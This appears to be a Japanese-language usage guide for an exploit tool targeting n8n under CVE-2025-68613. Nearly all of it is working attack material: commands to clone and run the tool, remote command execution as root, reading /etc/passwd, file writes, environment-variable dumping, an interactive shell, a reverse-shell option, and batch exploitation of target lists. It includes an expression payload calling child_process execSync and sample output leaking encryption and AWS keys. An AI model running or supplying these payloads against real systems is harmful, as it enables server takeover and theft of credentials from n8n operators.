# Python 3.8 以上
python3 --version

# pip パッケージマネージャー
pip3 --version

# リポジトリのクローン
git clone https://github.com/hackersatyamrastogi/n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate.git
cd n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate

# 必要なパッケージをインストール
pip3 install -r requirements.txt

requests>=2.31.0
urllib3>=2.0.0
tqdm>=4.66.0
colorama>=0.4.6

# ヘルプメニューの表示
python3 n8n-godmode-ultimate.py -h

# n8n バージョンの検出 (非侵入的)
python3 n8n-godmode-ultimate.py -u http://target:5678 --detect

# 安全な脆弱性チェック
python3 n8n-godmode-ultimate.py -u http://target:5678 --safe -e [email protected] -p password

# RCE 概念実証
python3 n8n-godmode-ultimate.py -u http://target:5678 --poc -e [email protected] -p password

# 完全エクスプロイト
python3 n8n-godmode-ultimate.py -u http://target:5678 --exploit -e [email protected] -p password

# 単一コマンドの実行
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
  -e [email protected] -p password --cmd "whoami"

# リモートファイルの読み取り
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
  -e [email protected] -p password --read-file "/etc/passwd"

# リモートファイルの書き込み
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
  -e [email protected] -p password --write-file "/tmp/test.txt" --content "payload"

# 環境変数の抽出
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
  -e [email protected] -p password --dump-env

# 対話型シェル
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
  -e [email protected] -p password --shell

# ファイルから複数ターゲットをスキャン
python3 n8n-godmode-ultimate.py -l targets.txt --detect -t 20

# バッチエクスプロイト
python3 n8n-godmode-ultimate.py -l targets.txt --poc -e [email protected] -p password -t 10

http://target1:5678
https://target2.example.com
http://192.168.1.100:5678
https://n8n.example.org

n8n> whoami              # コマンドの実行
n8n> read /etc/passwd    # ファイルの読み取り
n8n> env                 # 環境変数の表示
n8n> info                # システム情報
n8n> history             # コマンド履歴
n8n> exit                # シェルを終了

-u, --url URL             ターゲット n8n URL
-l, --list FILE           ターゲット URL が記載されたファイル
-t, --threads NUM         バッチスキャンのスレッド数 (デフォルト: 10)

-e, --email EMAIL         n8n ユーザーメールアドレス
-p, --password PASS       n8n ユーザーパスワード

--detect                  バージョン検出のみ (最速)
--safe                    エクスプロイトなしの安全なチェック
--poc                     RCE 概念実証
--exploit                 完全エクスプロイトモード

--god                     God Mode を有効化
--cmd COMMAND             単一コマンドの実行
--read-file PATH          リモートファイルの読み取り
--write-file PATH         リモートファイルの書き込み
--content DATA            書き込み操作の内容
--dump-env                すべての環境変数を抽出
--shell                   対話型シェルモード
--revshell HOST:PORT      リバースシェルペイロード

--mode MODE               エクスプロイトモード: schedule|webhook|code|expression (デフォルト: schedule)
--timeout SEC             コマンドタイムアウト (秒) (デフォルト: 30)
--cleanup                 実行後にワークフローを削除
-k, --insecure           SSL 検証を無効化
-v, --verbose            詳細出力
-q, --quiet              最小限の出力

ペイロード: {{(function(){
  return this.process.mainModule.require('child_process')
    .execSync('whoami').toString()
})()}}

<meta name="n8n:config:sentry" content="eyJ2ZXJzaW9uIjoi..." />

[*] n8n God Mode Ultimate v1.0.0
[*] ターゲット: https://target.example.com
[✓] n8n バージョン: 1.36.1
[!] ステータス: 脆弱 (< 1.120.4)

[*] 認証成功
[*] エクスプロイトワークフローを作成中...
[*] ワークフロー ID: hd6LxSY765WBThqd
[*] コマンド実行中: whoami
[✓] コマンドが正常に実行されました!
[+] 出力: root

n8n> whoami
[+] root

n8n> read /etc/hostname
[+] n8n-production-server

n8n> env
[+] 環境変数:
N8N_ENCRYPTION_KEY=a1b2c3d4e5f6...
DATABASE_HOST=postgres.internal
AWS_ACCESS_KEY_ID=AKIA...

MIT License

Copyright (c) 2025 Satyam Rastogi

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.